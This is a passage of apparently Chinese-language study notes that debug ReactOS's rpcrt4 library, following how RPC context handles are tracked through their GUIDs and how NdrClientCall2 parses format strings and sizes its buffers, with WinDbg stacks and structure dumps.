将客户端发送过来的数据包packet作为workitem函数RPCRT4_worker_thread的参数，并且指定了WT_EXECUTELONGFUNCTION标志以便于windows thread pool决定是否创建新的线程

而此线程函数只是RPCRT4_process_packet函数的wrapper，该函数会根据packet类型调用对应的函数，此时应该调用PKT_REQUEST数据包的处理函数process_request_packet

其实我现在最想知道的就是他如何处理那个传出参数

根据客户端传过来的procnum从dispatchtable中定位对应的函数

从上图中可以看到，其实派遣表中的6个函数全部都是NdrServerCall2，下面让我们来看看这个函数里面到底暗藏什么玄机

NdrServerCall2是NdrStubCall2的wrapper，根据函数的注释可以知道这个函数的功能是unmarshal客户端传送过来的数据并调用指定的函数

从RpcMsg中可以获取到服务端的派遣函数表

RpcMsg之所以能够索引到这个信息，并不是说客户端发送的数据中包含这些东西，而是在服务端的代码中根据conn对象的guid定位到接口描述信息，然后把这个信息放到了rpcmsg对象的RpcInterfaceInformation字段中

关键点就在此处，服务端为我们分配了contexthandle并将其写入了传出参数的地址中

在NdrContextHandleInitialize函数中，新分配的context handle结构体会被添加到一个全局链表中

list_add_tail(&assoc->context_handle_list, &context_handle->entry);

另外就是他通过RPCRT4_PushThreadContextHandle函数，在当前线程的tdata对象中也存了一个context_handle_list并将我们新创建的context_handle添加了进去

我现在不理解的的点事，服务端和客户端的context handl的值是互不相干的，那么他们是如何对这个context handle进行跟踪的呢？

server context handle定位代码调用栈

0:006> k
 # Child-SP          RetAddr               Call Site
00 0000004b`eeefe770 00007ffc`85255e0d     aaarpcrt4!RpcServerAssoc_FindContextHandle+0x63 [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\rpc_assoc.c @ 495] 
01 0000004b`eeefe7c0 00007ffc`8526ac7f     aaarpcrt4!NDRSContextUnmarshall2+0x1ad [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_contexthandle.c @ 349] 
02 0000004b`eeefe820 00007ffc`8525a2fb     aaarpcrt4!NdrServerContextNewUnmarshall+0x1ef [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 7238] 
03 0000004b`eeefe880 00007ffc`852755b0     aaarpcrt4!NdrContextHandleUnmarshall+0x1cb [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 7044] 
04 0000004b`eeefe8e0 00007ffc`85279080     aaarpcrt4!call_unmarshaller+0xf0 [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 126] 
05 0000004b`eeefe940 00007ffc`8527426f     aaarpcrt4!stub_do_args+0x4b0 [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 1283] 
06 0000004b`eeefe9d0 00007ffc`8527375c     aaarpcrt4!NdrStubCall2+0xa0f [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 1537] 
07 0000004b`eeeff460 00007ffc`8529148c     aaarpcrt4!NdrServerCall2+0x1c [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 1575] 
08 0000004b`eeeff4a0 00007ffc`8528d84d     aaarpcrt4!process_request_packet+0x46c [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\rpc_server.c @ 436] 
09 0000004b`eeeff540 00007ffc`8528e1f7     aaarpcrt4!RPCRT4_process_packet+0xad [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\rpc_server.c @ 515] 
0a 0000004b`eeeff590 00007ffc`986a0cd3     aaarpcrt4!RPCRT4_worker_thread+0x47 [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\rpc_server.c @ 538] 
0b 0000004b`eeeff5e0 00007ffc`9867d79a     ntdll!TpSetPoolStackInformation+0x1a3
0c 0000004b`eeeff6c0 00007ffc`96b47374     ntdll!TpReleaseCleanupGroupMembers+0xada
0d 0000004b`eeeff9c0 00007ffc`9867cc91     KERNEL32!BaseThreadInitThunk+0x14
0e 0000004b`eeeff9f0 00000000`00000000     ntdll!RtlUserThreadStart+0x21

说白了就是将context handle强转为NDR_SCONTEXT对象，然后和const_handle_list中的所有节点进行对比，比对的根据就是NDR_SCONTEXT->uuid

现在的问题是我不知道他是如果将客户端的contexthandle转换为server端可识别的一个合法地址的，需要再回溯一下

从实际调试结果来看，在服务端的RPCRT4_io_thread线程中，RPCRT4_receive_fragment函数接收过来的payload中就已经有了用于索引context handle的GUID了

我在RPCRT4_ReceiveWithAuth函数中增加了下面的代码

这样在payload收到之后我们就可以看到他里面的GUID信息，从debug信息中也可以看到，此时dump出来的guid和一开始给context handle分配的GUID是一致的

所以从本质上来讲，客户端的context handle的值对服务端并没有意义，有意义的是这个GUID，我现在可以大胆推测，客户端那边肯定对context handle和GUID进行了关联，现在我就去看一下他是怎么关联的

RPCRT4_start_listen

上面提到RPCRT4_start_listen通过调用RPCRT4_start_listen_protseq启动了一个新的线程，线程函数为RPCRT4_server_thread

该函数返回后，会调用RPCRT4_sync_with_server_thread

static void RPCRT4_sync_with_server_thread(RpcServerProtseq *ps)
{
  /* make sure we are the only thread sync'ing the server state, otherwise
   * there is a race with the server thread setting an older state and setting
   * the server_ready_event when the new state hasn't yet been applied */
  WaitForSingleObject(ps->mgr_mutex, INFINITE);

  ps->ops->signal_state_changed(ps);

  /* wait for server thread to make the requested changes before returning */
  WaitForSingleObject(ps->server_ready_event, INFINITE);

  ReleaseMutex(ps->mgr_mutex);
}

其中ps->ops->signal_state_changed是rpcrt4_protseq_np_signal_state_changed，动态注册，ncalrpc对应的就是这个函数，这个函数会将上面RPCRT4_server_thread中的wait_array的第一个事件，即mgr_event设置为signaled状态

这里在signal完mgr_event事件之后，会阻塞等待server_ready_event事件，该事件会在RPCRT4_server_thread线程准备好接受连接之后被signal，这也是为什么这个函数叫做RPCRT4_sync_with_server_thread的原因，它可以确保在该函数返回的时候，服务线程已经开始监听连接了

之后主线程会调用RpcMgmtWaitServerListen来等待在RPCRT4_start_listen函数中创建的listen_done_event事件，从而进入阻塞状态

客户端实现

RpcStringBindingComposeA

就是字符串拼接

根据protocol sequence和endpoint拼接出来下面这样的字符串

ncalrpc:[NCALRPCServer12138]

RpcBindingFromStringBinding

传入上面拼接出来的字符串，获取到一个binding handle

在该函数中，会通过RPCRT4_CreateBindingA创建一个RpcBinding对象，并对其进行初始化

最后会创建一个RpcAssoc对象关联到我们的Assoc字段上

然后这个RpcAssoc对象被添加到了全局链表client_assoc_list中

RpcBindingSetAuthInfoExA

我们是本地通信，忽略这一块

NdrClientCall2

可以看到一开始是一堆汇编代码

PUBLIC NdrClientCall2
.PROC NdrClientCall2
    mov [rsp + 18h], r8
    .SAVEREG r8, 18h
    mov [rsp + 20h], r9
    .SAVEREG r9, 20h
    sub rsp, 28h
    .ALLOCSTACK 28h
    .ENDPROLOG

    lea r8, [rsp + 28h + 18h]
    xor r9, r9
    call ndr_client_call

    add rsp, 28h
    ret
.ENDP

对应的调试器中的汇编代码如下：

  589 00007ffe`5b7294d4 4c89442418      mov     qword ptr [rsp+18h],r8
  592 00007ffe`5b7294d9 4c894c2420      mov     qword ptr [rsp+20h],r9
  594 00007ffe`5b7294de 4883ec28        sub     rsp,28h
  598 00007ffe`5b7294e2 4c8d442440      lea     r8,[rsp+40h]
  599 00007ffe`5b7294e7 4d33c9          xor     r9,r9
  600 00007ffe`5b7294ea e8a1edfcff      call    aaarpcrt4!ndr_client_call (00007ffe`5b6f8290)
  602 00007ffe`5b7294ef 4883c428        add     rsp,28h
  603 00007ffe`5b7294f3 c3              ret

我们实际的C代码如下：

    g_pNdrClientCall2(
        (PMIDL_STUB_DESC)&NCALRPCInterface_StubDesc,
        (PFORMAT_STRING)&NCALRPCInterface__MIDL_ProcFormatString.Format[114],
        hBinding,
        szString,
        phContext);

可以看到我们实际上传了5个参数，现在r8\r9都被修改了，我很好奇他怎么访问到我们传入的参数

虽然r8\r9都被修改了，但是他们俩在此之前先存入了栈里面，最后r8还保存了一个栈地址作为第三个参数传入进去了，根据汇编代码我们可以知道

poi(r8)就是原始的a3，poi(r8+8)就是原始的a4，poi(r8+10)就是原始的a5

我们给NdrClientCall2传入的第二个参数其实是一个NDR_PROC_HEADER结构体

如果flag中存在Oi_HAS_RPCFLAGS标志位，则需要重新解释为NDR_PROC_HEADER_RPC结构体

#define Oi_HAS_RPCFLAGS             0x08

处理完成后pFormat指针行前移动sizeof(NDR_PROC_HEADER_RPC)，header已经处理完了，该处理下面的内容了

    if (pProcHeader->Oi_flags & Oi_HAS_RPCFLAGS)
    {
        const NDR_PROC_HEADER_RPC *header_rpc = (const NDR_PROC_HEADER_RPC *)&pFormat[0];
        stack_size = header_rpc->stack_size;
        procedure_number = header_rpc->proc_num;
        pFormat += sizeof(NDR_PROC_HEADER_RPC);
    }

如果不存在Oi_OBJECT_PROC标志位，就调用get_handle_desc_size

#define Oi_OBJECT_PROC              0x04

其实这一部分代码就是在解析NCALRPCInterface__MIDL_ProcFormatString的format字段的144偏移

pFormat += get_handle_desc_size(pProcHeader, pFormat);

这一部分已经属于NDR引擎的范畴了

我们使用的是explicit_handle，handle_type为FC_BIND_PRIMITIVE，对应的结构体如下，这个和微软的文档是完全对的上的

0:000> dt NDR_EHD_PRIMITIVE
aaarpcrt4!NDR_EHD_PRIMITIVE
   +0x000 handle_type      : UChar
   +0x001 flag             : UChar
   +0x002 offset           : Uint2B

根据文档，offset字段描述了handle相对于stack开始位置的偏移

pFormat指针继续向前

我们确实是有两个参数，一个是helloworld字符串，另一个是传出参数context handle

0:000> dt NDR_PROC_PARTIAL_OIF_HEADER poi(pOIFHeader)
aaarpcrt4!NDR_PROC_PARTIAL_OIF_HEADER
   +0x000 constant_client_buffer_size : 0
   +0x002 constant_server_buffer_size : 0x38
   +0x004 Oi2Flags         : INTERPRETER_OPT_FLAGS
   +0x005 number_of_params : 0x2 ''

最后pformat前进到如下位置，然后调用do_ndr_client_call

根据format string的描述，我们的szString参数位于stack的0x8偏移

        RetVal = do_ndr_client_call(pStubDesc, pFormat, pHandleFormat,
                stack_top, fpu_stack, &stubMsg, procedure_number, stack_size,
                number_of_params, Oif_flags, ext_flags, pProcHeader);

这跟我们在刚进入NdrClientCall2的汇编代码时做的验证是一致的

do_ndr_client_call

该函数会调用NdrClientInitializeNew初始化MIDL_STUB_MESSAGE结构体

0:000> dt   MIDL_STUB_MESSAGE 0049`009bedd0
aaarpcrt4!MIDL_STUB_MESSAGE
   +0x000 RpcMsg           : 0x00000049`009be490 _RPC_MESSAGE
   +0x008 Buffer           : 0x00000049`009bede0  ""
   +0x010 BufferStart      : (null) 
   +0x018 BufferEnd        : (null) 
   +0x020 BufferMark       : 0x00000049`009bf410  ""
   +0x028 BufferLength     : 0
   +0x02c MemorySize       : 0x7ffe
   +0x030 Memory           : 0x00000000`00000004  "--- memory read error at address 0x00000000`00000004 ---"
   +0x038 IsClient         : 0x1 ''
   +0x039 Pad              : 0xf4 ''
   +0x03a uFlags2          : 0x9b
   +0x03c ReuseBuffer      : 0n0
   +0x040 pAllocAllNodesContext : (null) 
   +0x048 pPointerQueueState : (null) 
   +0x050 IgnoreEmbeddedPointers : 0n0
   +0x058 PointerBufferMark : (null) 
   +0x060 CorrDespIncrement : 0 ''
   +0x061 uFlags           : 0 ''
   +0x062 UniquePtrCount   : 0
   +0x068 MaxCount         : 0x00000049`42630000
   +0x070 Offset           : 0x9bf040
   +0x074 ActualCount      : 0x49
   +0x078 pfnAllocate      : 0x00007ff6`54ae1069     void*  ncalrpcClt!ILT+100(MIDL_user_allocate)+0
   +0x080 pfnFree          : 0x00007ff6`54ae1096     void  ncalrpcClt!ILT+145(MIDL_user_free)+0
   +0x088 StackTop         : (null) 
   +0x090 pPresentedType   : (null) 
   +0x098 pTransmitType    : 0x00000000`00000008  "--- memory read error at address 0x00000000`00000008 ---"
   +0x0a0 SavedHandle      : 0x00000049`009bf204 Void
   +0x0a8 StubDesc         : 0x00007ff6`54aeb490 _MIDL_STUB_DESC
   +0x0b0 FullPtrXlatTables : (null) 
   +0x0b8 FullPtrRefId     : 0
   +0x0bc PointerLength    : 0
   +0x0c0 fInDontFree      : 0y0
   +0x0c0 fDontCallFreeInst : 0y0
   +0x0c0 fInOnlyParam     : 0y0
   +0x0c0 fHasReturn       : 0y0
   +0x0c0 fHasExtensions   : 0y0
   +0x0c0 fHasNewCorrDesc  : 0y0
   +0x0c0 fIsIn            : 0y0
   +0x0c0 fIsOut           : 0y0
   +0x0c0 fIsOicf          : 0y0
   +0x0c0 fBufferValid     : 0y0
   +0x0c0 fHasMemoryValidateCallback : 0y0
   +0x0c0 fInFree          : 0y0
   +0x0c0 fNeedMCCP        : 0y0
   +0x0c0 fUnused          : 0y000
   +0x0c0 fUnused2         : 0y1010101100010110 (0xab16)
   +0x0c4 dwDestContext    : 2
   +0x0c8 pvDestContext    : (null) 
   +0x0d0 SavedContextHandles : 0x00000000`00000005  -> ???? 
   +0x0d8 ParamNumber      : 0n-1424648832
   +0x0e0 pRpcChannelBuffer : (null) 
   +0x0e8 pArrayInfo       : (null) 
   +0x0f0 SizePtrCountArray : 0x00000000`00000038  -> ??
   +0x0f8 SizePtrOffsetArray : 0x00000001`0000007f  -> ??
   +0x100 SizePtrLengthArray : 0x000001ad`ab160700  -> 0
   +0x108 pArgQueue        : 0x00000000`00000001 Void
   +0x110 dwStubPhase      : 0
   +0x118 LowStackMark     : 0x00000000`00000005 Void
   +0x120 pAsyncMsg        : (null) 
   +0x128 pCorrInfo        : (null) 
   +0x130 pCorrMemory      : (null) 
   +0x138 pMemoryList      : (null) 
   +0x140 pCSInfo          : 0x000001ad`ab160240 CS_STUB_INFO
   +0x148 ConformanceMark  : 0x00000000`00000047  "--- memory read error at address 0x00000000`00000047 ---"
   +0x150 VarianceMark     : 0x000001ad`ab140320  "???"
   +0x158 Unused           : 0n1845411184976
   +0x160 pContext         : 0x00000000`14040010 _NDR_PROC_CONTEXT
   +0x168 ContextHandleHash : 0x00000000`0000000d Void
   +0x170 pUserMarshalList : 0x00000000`50000063 Void
   +0x178 Reserved51_3     : 0n176
   +0x180 Reserved51_4     : 0n1845411185384
   +0x188 Reserved51_5     : 0n0

之后调用client_get_handle获取到handle值

 switch (pProcHeader->handle_type)
    {
    /* explicit binding: parse additional section */
    case 0:
        switch (*pFormat) /* handle_type */
        {
        case FC_BIND_PRIMITIVE: /* explicit primitive */
            {
                const NDR_EHD_PRIMITIVE *pDesc = (const NDR_EHD_PRIMITIVE *)pFormat;

                TRACE("Explicit primitive handle @ %d\n", pDesc->offset);

                if (pDesc->flag) /* pointer to binding */
                    return **(handle_t **)ARG_FROM_OFFSET(pStubMsg->StackTop, pDesc->offset);
                else
                    return *(handle_t *)ARG_FROM_OFFSET(pStubMsg->StackTop, pDesc->offset);
            }
#define ARG_FROM_OFFSET(args, offset) ((args) + (offset))

stack起始位置+偏移获取到参数地址，然后取值得到真正的参数

由于我们启用了HAS_EXTENSIONS标志位，说明我们有一个NDR_PROC_HEADER_EXTS结构体，而该结构体的ext_flag又启用了HasNewCorrDesc标志位，因此我们会进入到这段代码

       if (ext_flags.HasNewCorrDesc)
        {
            /* initialize extra correlation package */
            NdrCorrelationInitialize(stub_msg, NdrCorrCache, sizeof(NdrCorrCache), 0);
            if (ext_flags.Unused & 0x2) /* has range on conformance */
                stub_msg->CorrDespIncrement = 12;
        }

这个东西是微软对NDR标准的扩展，使得它能够支持更多的特性

但是reactos似乎并没有完全实现这个东西，他在这留了一个fixme

client_do_args

client_do_args(stub_msg, format, STUBLESS_CALCSIZE, fpu_stack,
                       number_of_params, (unsigned char *)&retval);

format结构体有好几个，当需要确定参数类型的时候，就需要用到NCALRPCInterface__MIDL_TypeFormatString

重点，TypeFormatString

 PFORMAT_STRING pTypeFormat = (PFORMAT_STRING)&pStubMsg->StubDesc->pFormatTypes[params[i].u.type_offset];

pStubMsg->StubDesc就是NdrClientCall2的第一个参数，在我们的实例中就是NCALRPCInterface_StubDesc，他是一个MIDL_STUB_DESC结构体，pFormatTypes是一个UCAHR指针，所以我们可以直接以数组的形式来对其进行索引，从而获得目标参数的类型信息

然后根据传入的phase（阶段）参数决定下一步的动作为STUBLESS_CALCSIZE，计算size，调用call_buffer_sizer

在该函数中，会根据参数类型调用不同的buffer_sizer函数

m = NdrBufferSizer[pFormat[0] & NDR_TABLE_MASK];
    if (m) m(pStubMsg, pMemory, pFormat);

0:000> dqs NdrBufferSizer l50
00007ffe`5b72efc0  00000000`00000000
00007ffe`5b72efc8  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72efd0  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72efd8  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72efe0  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72efe8  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72eff0  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72eff8  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f000  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f008  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f010  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f018  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f020  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f028  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f030  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f038  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f040  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f048  00007ffe`5b6dc1d0 aaarpcrt4!NdrPointerBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 1607]
00007ffe`5b72f050  00007ffe`5b6dc1d0 aaarpcrt4!NdrPointerBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 1607]
00007ffe`5b72f058  00007ffe`5b6dc1d0 aaarpcrt4!NdrPointerBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 1607]
00007ffe`5b72f060  00007ffe`5b6dc1d0 aaarpcrt4!NdrPointerBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 1607]
00007ffe`5b72f068  00007ffe`5b6dc580 aaarpcrt4!NdrSimpleStructBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 1802]
00007ffe`5b72f070  00007ffe`5b6dc580 aaarpcrt4!NdrSimpleStructBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 1802]
00007ffe`5b72f078  00007ffe`5b6dcfd0 aaarpcrt4!NdrConformantStructBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 4832]
00007ffe`5b72f080  00007ffe`5b6dcfd0 aaarpcrt4!NdrConformantStructBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 4832]
00007ffe`5b72f088  00007ffe`5b6ddbb0 aaarpcrt4!NdrConformantVaryingStructBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 5050]
00007ffe`5b72f090  00007ffe`5b6de9c0 aaarpcrt4!NdrComplexStructBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 3779]
00007ffe`5b72f098  00007ffe`5b6dfbe0 aaarpcrt4!NdrConformantArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 3983]
00007ffe`5b72f0a0  00007ffe`5b6e0210 aaarpcrt4!NdrConformantVaryingArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 4112]
00007ffe`5b72f0a8  00007ffe`5b6df490 aaarpcrt4!NdrFixedArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 5272]
00007ffe`5b72f0b0  00007ffe`5b6df490 aaarpcrt4!NdrFixedArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 5272]
00007ffe`5b72f0b8  00007ffe`5b6e0bd0 aaarpcrt4!NdrVaryingArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 5510]
00007ffe`5b72f0c0  00007ffe`5b6e0bd0 aaarpcrt4!NdrVaryingArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 5510]
00007ffe`5b72f0c8  00007ffe`5b6e18d0 aaarpcrt4!NdrComplexArrayBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 4274]
00007ffe`5b72f0d0  00007ffe`5b6e3bc0 aaarpcrt4!NdrConformantStringBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 2491]
00007ffe`5b72f0d8  00000000`00000000
00007ffe`5b72f0e0  00000000`00000000
00007ffe`5b72f0e8  00007ffe`5b6e3bc0 aaarpcrt4!NdrConformantStringBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 2491]
00007ffe`5b72f0f0  00007ffe`5b6e4430 aaarpcrt4!NdrNonConformantStringBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 2679]
00007ffe`5b72f0f8  00000000`00000000
00007ffe`5b72f100  00000000`00000000
00007ffe`5b72f108  00000000`00000000
00007ffe`5b72f110  00007ffe`5b6e20c0 aaarpcrt4!NdrEncapsulatedUnionBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6094]
00007ffe`5b72f118  00007ffe`5b6e2570 aaarpcrt4!NdrNonEncapsulatedUnionBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6279]
00007ffe`5b72f120  00007ffe`5b6da8c0 aaarpcrt4!NdrByteCountPointerBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6358]
00007ffe`5b72f128  00007ffe`5b6e28e0 aaarpcrt4!NdrXmitOrRepAsBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6411]
00007ffe`5b72f130  00007ffe`5b6e28e0 aaarpcrt4!NdrXmitOrRepAsBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6411]
00007ffe`5b72f138  00007ffe`5b6f2490 aaarpcrt4!NdrInterfacePointerBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_ole.c @ 376]
00007ffe`5b72f140  00007ffe`5b6da010 aaarpcrt4!NdrContextHandleBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6964]
00007ffe`5b72f148  00000000`00000000
00007ffe`5b72f150  00000000`00000000
00007ffe`5b72f158  00000000`00000000
00007ffe`5b72f160  00007ffe`5b6e3370 aaarpcrt4!NdrUserMarshalBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 4505]
00007ffe`5b72f168  00000000`00000000
00007ffe`5b72f170  00000000`00000000
00007ffe`5b72f178  00007ffe`5b6da480 aaarpcrt4!NdrRangeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6565]
00007ffe`5b72f180  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]
00007ffe`5b72f188  00007ffe`5b6d95d0 aaarpcrt4!NdrBaseTypeBufferSize [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 6815]

pMemory此时就是我们的第一个参数，hello字符串，我们此时的类型值为0x22（FC_C_CSTRING），对应的sizer函数是NdrConformantStringBufferSize

计算方式其实就是strlen+1，结果存储到pStubMsg->ActualCount

  case FC_C_CSTRING:
  case FC_C_WSTRING:
    if (fc == FC_C_CSTRING)
    {
      TRACE("string=%s\n", debugstr_a((const char *)pMemory));
      pStubMsg->ActualCount = strlen((const char *)pMemory)+1;
    }

但是这个并不是最终的buffer_len，因为还要考虑对齐的问题，SizeConformance函数会进行对齐处理

static inline void SizeConformance(MIDL_STUB_MESSAGE *pStubMsg)
{
    align_length(&pStubMsg->BufferLength, 4);
    if (pStubMsg->BufferLength + 4 < pStubMsg->BufferLength)
        RpcRaiseException(RPC_X_BAD_STUB_DATA);
    pStubMsg->BufferLength += 4;
}

align_length：

*len = (*len + align - 1) & ~(align - 1);

人家这代码写的就是简洁高效，他等效于下面这个函数

if(*len%align) *len=(*len+align)-(*len+align)%align

但是明显第二种写法要进行更多次运算，而第一种写法采用位运算，要高效的多

通过位运算进行对齐操作是非常常规的写法

但是他这个对齐并不是针对ActualCount字段进行的对齐，有点奇怪哈，bufferlength字段本来就是0，对齐之后还是0，最后加了个4变成4了

后面有对bufferlen进行了一些操作，最后和actualcount加在了一起，然后这个结果也没对齐，不知道为啥，最后的长度值是0x21

然后就是第二个参数，第二个参数是传出参数，不需要计算size

NdrGetBuffer

NdrGetBuffer(stub_msg, stub_msg->BufferLength, hbinding);

hbinding被赋值给stubmsg->RpcMsg->Handle，根据前面计算出来的bufferlen分配内存，然后调用I_RpcNegotiateTransferSyntax

但是他这个buffer分配完内存之后并没有初始化

之后就是调用I_RpcNegotiateTransferSyntax协商通信语法

该函数会调用RPCRT4_OpenBinding，该函数又会调用RpcAssoc_GetClientConnection

return RpcAssoc_GetClientConnection(Binding->Assoc, InterfaceId,
         TransferSyntax, Binding->AuthInfo, Binding->QOS, Binding->CookieAuth, Connection, from_cache);

第一个参数是RpcAssoc结构体，里面存有endpoint信息

0:000> dt RpcAssoc 000001c68bf21560
aaarpcrt4!RpcAssoc
   +0x000 entry            : list
   +0x010 refs             : 0n1
   +0x018 Protseq          : 0x000001c6`8bf21630  "ncalrpc"
   +0x020 NetworkAddr      : 0x000001c6`8bf22700  ""
   +0x028 Endpoint         : 0x000001c6`8bf20fb0  "NCALRPCServer12138"
   +0x030 NetworkOptions   : (null) 
   +0x038 assoc_group_id   : 0
   +0x03c http_uuid        : _GUID {a1df7372-ff69-43ef-94f0-fa2e73cf954c}
   +0x050 cs               : _RTL_CRITICAL_SECTION
   +0x078 free_connection_pool : list
   +0x088 connection_cnt   : 0n0
   +0x090 context_handle_list : list

RpcConnection对象应该就是用来存储即将被创建出来的连接信息的，目前他里面保存的信息是没有什么意义的

最后调用RPCRT4_CreateConnection来创建连接

首先调用rpcrt4_get_conn_protseq_ops返回对应的connection_ops对象，用于对连接进行各种操作

0:000> dt connection_ops 00007ffe5b7356f8
aaarpcrt4!connection_ops
   +0x000 name             : 0x00007ffe`5b733468  "ncalrpc"
   +0x008 epm_protocols    : [2]  "???"
   +0x010 alloc            : 0x00007ffe`5b711790     _RpcConnection*  aaarpcrt4!rpcrt4_conn_np_alloc+0
   +0x018 open_connection_client : 0x00007ffe`5b7117d0     long  aaarpcrt4!rpcrt4_ncalrpc_open+0
   +0x020 handoff          : 0x00007ffe`5b711d60     long  aaarpcrt4!rpcrt4_ncalrpc_handoff+0
   +0x028 read             : 0x00007ffe`5b711ea0     int  aaarpcrt4!rpcrt4_conn_np_read+0
   +0x030 write            : 0x00007ffe`5b712000     int  aaarpcrt4!rpcrt4_conn_np_write+0
   +0x038 close            : 0x00007ffe`5b712120     int  aaarpcrt4!rpcrt4_conn_np_close+0
   +0x040 close_read       : 0x00007ffe`5b7121f0     void  aaarpcrt4!rpcrt4_conn_np_close_read+0
